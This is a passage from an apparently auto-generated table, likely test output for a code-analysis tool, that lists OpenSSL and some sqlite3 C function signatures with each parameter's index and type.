* | +| (const char *) | | Strsafe | 0 | const char * | +| (const char *) | | Symbol_new | 0 | const char * | +| (const char *) | | UI_create_method | 0 | const char * | +| (const char *) | | X509V3_parse_list | 0 | const char * | +| (const char *) | | X509_LOOKUP_meth_new | 0 | const char * | +| (const char *) | | a2i_IPADDRESS | 0 | const char * | +| (const char *) | | a2i_IPADDRESS_NC | 0 | const char * | +| (const char *) | | opt_path_end | 0 | const char * | +| (const char *) | | opt_progname | 0 | const char * | +| (const char *) | | ossl_lh_strcasehash | 0 | const char * | +| (const char *) | | strhash | 0 | const char * | +| (const char **) | | ERR_peek_error_func | 0 | const char ** | +| (const char **) | | ERR_peek_last_error_func | 0 | const char ** | +| (const char **,int *) | | ERR_get_error_line | 0 | const char ** | +| (const char **,int *) | | ERR_get_error_line | 1 | int * | +| (const char **,int *) | | ERR_peek_error_data | 0 | const char ** | +| (const char **,int *) | | ERR_peek_error_data | 1 | int * | +| (const char **,int *) | | ERR_peek_error_line | 0 | const char ** | +| (const char **,int *) | | ERR_peek_error_line | 1 | int * | +| (const char **,int *) | | ERR_peek_last_error_data | 0 | const char ** | +| (const char **,int *) | | ERR_peek_last_error_data | 1 | int * | +| (const char **,int *) | | ERR_peek_last_error_line | 0 | const char ** | +| (const char **,int *) | | ERR_peek_last_error_line | 1 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_get_error_all | 0 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_get_error_all | 1 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_get_error_all | 2 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_get_error_all | 3 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_get_error_all | 4 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_error_all | 0 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_error_all | 1 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_error_all | 2 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_error_all | 3 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_error_all | 4 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_last_error_all | 0 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_last_error_all | 1 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_last_error_all | 2 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_last_error_all | 3 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_last_error_all | 4 | int * | +| (const char **,int *,const char **,int *) | | ERR_get_error_line_data | 0 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_get_error_line_data | 1 | int * | +| (const char **,int *,const char **,int *) | | ERR_get_error_line_data | 2 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_get_error_line_data | 3 | int * | +| (const char **,int *,const char **,int *) | | ERR_peek_error_line_data | 0 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_peek_error_line_data | 1 | int * | +| (const char **,int *,const char **,int *) | | ERR_peek_error_line_data | 2 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_peek_error_line_data | 3 | int * | +| (const char **,int *,const char **,int *) | | ERR_peek_last_error_line_data | 0 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_peek_last_error_line_data | 1 | int * | +| (const char **,int *,const char **,int *) | | ERR_peek_last_error_line_data | 2 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_peek_last_error_line_data | 3 | int * | +| (const char *,BIO *,BIO *,int) | | X509_CRL_load_http | 0 | const char * | +| (const char *,BIO *,BIO *,int) | | X509_CRL_load_http | 1 | BIO * | +| (const char *,BIO *,BIO *,int) | | X509_CRL_load_http | 2 | BIO * | +| (const char *,BIO *,BIO *,int) | | X509_CRL_load_http | 3 | int | +| (const char *,BIO *,BIO *,int) | | X509_load_http | 0 | const char * | +| (const char *,BIO *,BIO *,int) | | X509_load_http | 1 | BIO * | +| (const char *,BIO *,BIO *,int) | | X509_load_http | 2 | BIO * | +| (const char *,BIO *,BIO *,int) | | X509_load_http | 3 | int | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 0 | const char * | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 1 | BIO * | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 2 | int | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 3 | const char * | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 4 | const ASN1_ITEM * | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 5 | const ASN1_VALUE * | +| (const char *,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_num_asc | 0 | const char * | +| (const char *,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_num_asc | 1 | BIT_STRING_BITNAME * | +| (const char *,DB_ATTR *) | | load_index | 0 | const char * | +| (const char *,DB_ATTR *) | | load_index | 1 | DB_ATTR * | +| (const char *,DES_cblock *) | | DES_string_to_key | 0 | const char * | +| (const char *,DES_cblock *) | | DES_string_to_key | 1 | DES_cblock * | +| (const char *,DES_cblock *,DES_cblock *) | | DES_string_to_2keys | 0 | const char * | +| (const char *,DES_cblock *,DES_cblock *) | | DES_string_to_2keys | 1 | DES_cblock * | +| (const char *,DES_cblock *,DES_cblock *) | | DES_string_to_2keys | 2 | DES_cblock * | +| (const char *,EVP_CIPHER **) | | opt_cipher_any | 0 | const char * | +| (const char *,EVP_CIPHER **) | | opt_cipher_any | 1 | EVP_CIPHER ** | +| (const char *,EVP_CIPHER **) | | opt_cipher_silent | 0 | const char * | +| (const char *,EVP_CIPHER **) | | opt_cipher_silent | 1 | EVP_CIPHER ** | +| (const char *,EVP_MD **) | | opt_md | 0 | const char * | +| (const char *,EVP_MD **) | | opt_md | 1 | EVP_MD ** | +| (const char *,EVP_MD **) | | opt_md_silent | 0 | const char * | +| (const char *,EVP_MD **) | | opt_md_silent | 1 | EVP_MD ** | +| (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 0 | const char * | +| (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 1 | OSSL_CMP_severity * | +| (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 2 | char ** | +| (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 3 | char ** | +| (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 4 | int * | +| (const char *,OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_read | 0 | const char * | +| (const char *,OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_read | 1 | OSSL_LIB_CTX * | +| (const char *,OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_read | 2 | const char * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 0 | const char * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 1 | OSSL_LIB_CTX * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 2 | const char * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 3 | const UI_METHOD * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 4 | void * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 5 | const OSSL_PARAM[] | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 6 | OSSL_STORE_post_process_info_fn | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 7 | void * | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 0 | const char * | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 1 | X509 ** | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 2 | stack_st_X509 ** | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 3 | int | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 4 | const char * | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 5 | const char * | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 6 | X509_VERIFY_PARAM * | +| (const char *,char *) | | sha1sum_file | 0 | const char * | +| (const char *,char *) | | sha1sum_file | 1 | char * | +| (const char *,char *) | | sha3sum_file | 0 | const char * | +| (const char *,char *) | | sha3sum_file | 1 | char * | +| (const char *,char **,char **,BIO_hostserv_priorities) | | BIO_parse_hostserv | 0 | const char * | +| (const char *,char **,char **,BIO_hostserv_priorities) | | BIO_parse_hostserv | 1 | char ** | +| (const char *,char **,char **,BIO_hostserv_priorities) | | BIO_parse_hostserv | 2 | char ** | +| (const char *,char **,char **,BIO_hostserv_priorities) | | BIO_parse_hostserv | 3 | BIO_hostserv_priorities | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 0 | const char * | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 1 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 2 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 3 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 4 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 5 | int * | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 6 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 7 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 8 | char ** | +| (const char *,char **,int,unsigned long *) | | OPENSSL_strtoul | 0 | const char * | +| (const char *,char **,int,unsigned long *) | | OPENSSL_strtoul | 1 | char ** | +| (const char *,char **,int,unsigned long *) | | OPENSSL_strtoul | 2 | int | +| (const char *,char **,int,unsigned long *) | | OPENSSL_strtoul | 3 | unsigned long * | +| (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 0 | const char * | +| (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 1 | char ** | +| (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 2 | size_t | +| (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 0 | const char * | +| (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 1 | char * | +| (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 2 | size_t | +| (const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **) | | X509V3_add_value_int | 0 | const char * | +| (const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **) | | X509V3_add_value_int | 1 | const ASN1_INTEGER * | +| (const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **) | | X509V3_add_value_int | 2 | stack_st_CONF_VALUE ** | +| (const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *) | | ossl_ml_common_pkcs8_fmt_order | 0 | const char * | +| (const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *) | | ossl_ml_common_pkcs8_fmt_order | 1 | const ML_COMMON_PKCS8_FMT * | +| (const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *) | | ossl_ml_common_pkcs8_fmt_order | 2 | const char * | +| (const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *) | | ossl_ml_common_pkcs8_fmt_order | 3 | const char * | +| (const char *,const OPT_PAIR *,int *) | | opt_pair | 0 | const char * | +| (const char *,const OPT_PAIR *,int *) | | opt_pair | 1 | const OPT_PAIR * | +| (const char *,const OPT_PAIR *,int *) | | opt_pair | 2 | int * | +| (const char *,const OSSL_PARAM *,int) | | print_param_types | 0 | const char * | +| (const char *,const OSSL_PARAM *,int) | | print_param_types | 1 | const OSSL_PARAM * | +| (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | int | +| (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 0 | const char * | +| (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 1 | const UI_METHOD * | +| (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 2 | void * | +| (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 3 | OSSL_STORE_post_process_info_fn | +| (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 4 | void * | +| (const char *,const char *) | | Configcmp | 0 | const char * | +| (const char *,const char *) | | Configcmp | 1 | const char * | +| (const char *,const char *) | | DES_crypt | 0 | const char * | +| (const char *,const char *) | | DES_crypt | 1 | const char * | +| (const char *,const char *) | | OPENSSL_strcasecmp | 0 | const char * | +| (const char *,const char *) | | OPENSSL_strcasecmp | 1 | const char * | +| (const char *,const char *) | | get_passwd | 0 | const char * | +| (const char *,const char *) | | get_passwd | 1 | const char * | +| (const char *,const char *) | | openssl_fopen | 0 | const char * | +| (const char *,const char *) | | openssl_fopen | 1 | const char * | +| (const char *,const char *) | | ossl_pem_check_suffix | 0 | const char * | +| (const char *,const char *) | | ossl_pem_check_suffix | 1 | const char * | +| (const char *,const char *) | | ossl_v3_name_cmp | 0 | const char * | +| (const char *,const char *) | | ossl_v3_name_cmp | 1 | const char * | +| (const char *,const char *) | | sqlite3_strglob | 0 | const char * | +| (const char *,const char *) | | sqlite3_strglob | 1 | const char * | +| (const char *,const char *) | | sqlite3_stricmp | 0 | const char * | +| (const char *,const char *) | | sqlite3_stricmp | 1 | const char * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 0 | const char * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 1 | const char * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 2 | BIGNUM ** | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 3 | BIGNUM ** | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 4 | const BIGNUM * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 5 | const BIGNUM * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 0 | const char * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 1 | const char * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 2 | BIGNUM ** | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 3 | BIGNUM ** | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 4 | const BIGNUM * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 5 | const BIGNUM * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 6 | OSSL_LIB_CTX * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 7 | const char * | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 0 | const char * | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 1 | const char * | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 2 | BIO_lookup_type | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 3 | int | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 4 | int | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 5 | BIO_ADDRINFO ** | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 0 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 1 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 2 | EVP_PKEY * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 3 | X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 4 | stack_st_X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 5 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 6 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 7 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 8 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 9 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 0 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 1 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 2 | EVP_PKEY * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 3 | X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 4 | stack_st_X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 5 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 6 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 7 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 8 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 9 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 10 | OSSL_LIB_CTX * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 11 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 0 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 1 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 2 | EVP_PKEY * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 3 | X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 4 | stack_st_X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 5 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 6 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 7 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 8 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 9 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 10 | OSSL_LIB_CTX * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 11 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 12 | PKCS12_create_cb * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 13 | void * | +| (const char *,const char *,char *) | | DES_fcrypt | 0 | const char * | +| (const char *,const char *,char *) | | DES_fcrypt | 1 | const char * | +| (const char *,const char *,char *) | | DES_fcrypt | 2 | char * | +| (const char *,const char *,char **,char **) | | app_passwd | 0 | const char * | +| (const char *,const char *,char **,char **) | | app_passwd | 1 | const char * | +| (const char *,const char *,char **,char **) | | app_passwd | 2 | char ** | +| (const char *,const char *,char **,char **) | | app_passwd | 3 | char ** | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 0 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 1 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 2 | char ** | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 3 | char ** | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 4 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 5 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 0 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 1 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 2 | char ** | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 3 | char ** | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 4 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 5 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 6 | OSSL_LIB_CTX * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 7 | const char * | +| (const char *,const char *,const BIGNUM *,ASN1_INTEGER **) | | save_serial | 0 | const char * | +| (const char *,const char *,const BIGNUM *,ASN1_INTEGER **) | | save_serial | 1 | const char * | +| (const char *,const char *,const BIGNUM *,ASN1_INTEGER **) | | save_serial | 2 | const BIGNUM * | +| (const char *,const char *,const BIGNUM *,ASN1_INTEGER **) | | save_serial | 3 | ASN1_INTEGER ** | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 0 | const char * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 1 | const char * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 2 | const char * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 3 | BIO * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 4 | BIO * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 5 | OSSL_HTTP_bio_cb_t | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 6 | void * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 7 | int | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 8 | const stack_st_CONF_VALUE * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 9 | const char * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 10 | int | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 11 | size_t | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 12 | int | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 0 | const char * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const 